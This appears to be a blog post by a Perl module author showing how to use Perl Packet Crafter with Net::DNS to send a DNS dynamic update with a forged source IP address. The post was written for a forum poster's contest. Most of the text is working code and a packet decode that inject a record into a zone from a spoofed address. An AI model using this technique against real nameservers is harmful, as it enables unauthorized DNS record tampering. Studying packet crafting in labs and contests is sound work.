I responded to a query on a community forum for Perl about creating a DNS update with a spoofed source address. I was ASSURED it was for a contest and the code was what was essential. The contest site recommended scapy, but the poster was looking for a Perl solution. I had the easy answer: Perl Packet Crafter.
The poster went on to detail some code that created the DNS update but when he sent the packet, he couldn't change the source IP address. Obviously. He used Net::DNS as follows:
use strict; use warnings; use Net::DNS; my $update = Net::DNS::Update->new('evil.zz'); $update->push(prerequisite => nxrrset('hacker11.evil.zz. A')); $update->push(update => rr_add('hacker11.evil.zz. 86400 A 127.0.0.1')); my $res = Net::DNS::Resolver->new; $res->nameservers('192.168.200.113'); my $reply = $res->send($update);
The last line sends the update by taking the created DNS data and letting standard socket routines create the Layer 3 header. Perl Packet Crafter (PPC) can create the custom Layer 3 header and with Net::Frame::Layer::DNS (which I wrote), one can easily create the required packet. However, with most of the work done, is it necessary to recode the original script using Net::Frame::Layer::DNS? Turns out ... no.
Because of the layered nature of the Net::Frame suite of modules on which PPC is based, one can easily create any or all layers of a frame with the objects or simply by hand crafting an octet stream. Or ... even using another Perl module that can output the required stream.
For Net::DNS, there is an undocumented sub called make_query_packet() in the Net::DNS::Resolver::Base code that creates a Net::DNS::Packet object on which the data() method can be called to create the necessary octet stream. It may sound complicated, but all it means is replace the last line of code above with:
$dnsdata = $res->make_query_packet($update);
Now, in PPC, you can use the $dnsdata->data call to create the DNS payload in a UDP packet. It looks like the following:
VinsWorldcom@C:\tmp\> ppc.pl -i "Wireless Network Connection" Welcome to Perl Packet Crafter (PPC) Copyright (C) Michael Vincent 2012 Wireless Network Connection ppc> use Net::DNS; ppc> $update = Net::DNS::Update->new('evil.zz'); ppc> $update->push(prerequisite => nxrrset('hacker11.evil.zz. A')); ppc> $update->push(update => rr_add('hacker11.evil.zz. 86400 A 127.0.0.1')); ppc> $res = Net::DNS::Resolver->new; ppc> $res->nameservers('192.168.200.113'); ppc> $dnsdata = $res->make_query_packet($update);
We've used PPC to enter the original code with the modified last line - instead of send, use the make_query_packet() routine to create the Net::DNS::Packet object. Continuing, we create the packet in PPC:
ppc> $ether = ETHER; ppc> $ipv4 = IPv4(src=>'1.1.1.1',dst=>'192.168.200.113',protocol=>NF_I+Pv4_PROTOCOL_UDP); ppc> $udp = UDP(dst=>53,payload=>$dnsdata->data); ppc> $packet = packet $ether,$ipv4,$udp;
And to be sure before we send it, we can use Net::Frame::Layer::DNS for a nice decode:
ppc> use Net::Frame::Layer::DNS qw(:consts); ppc> decode $packet; ETH: dst:55:66:88:78:aa:30 src:c0:c1:c2:08:46:56 type:0x0800 IPv4: version:4 hlen:5 tos:0x00 length:90 id:23417 IPv4: flags:0x00 offset:0 ttl:128 protocol:0x11 checksum:0x53fe IPv4: src:1.1.1.1 dst:192.168.200.113 UDP: src:50281 dst:53 length:70 checksum:0x5661 DNS: id:5329 qr:0 opcode:5 flags:0x00 rcode:0 DNS: qdCount:1 anCount:1 DNS: nsCount:1 arCount:0 DNS::Question: name:evil.zz DNS::Question: type:6 class:1 DNS::RR: name:hacker11.[@12(evil.zz)] DNS::RR: type:1 class:254 ttl:0 rdlength:0 DNS::RR: name:[@25(hacker11.[@12(evil.zz)])] DNS::RR: type:1 class:1 ttl:86400 rdlength:4 DNS::RR::A: address:127.0.0.1
Job done!
Note this can also be done with other Perl modules like Net::DHCP::Packet with the new() and serialize() calls, for example.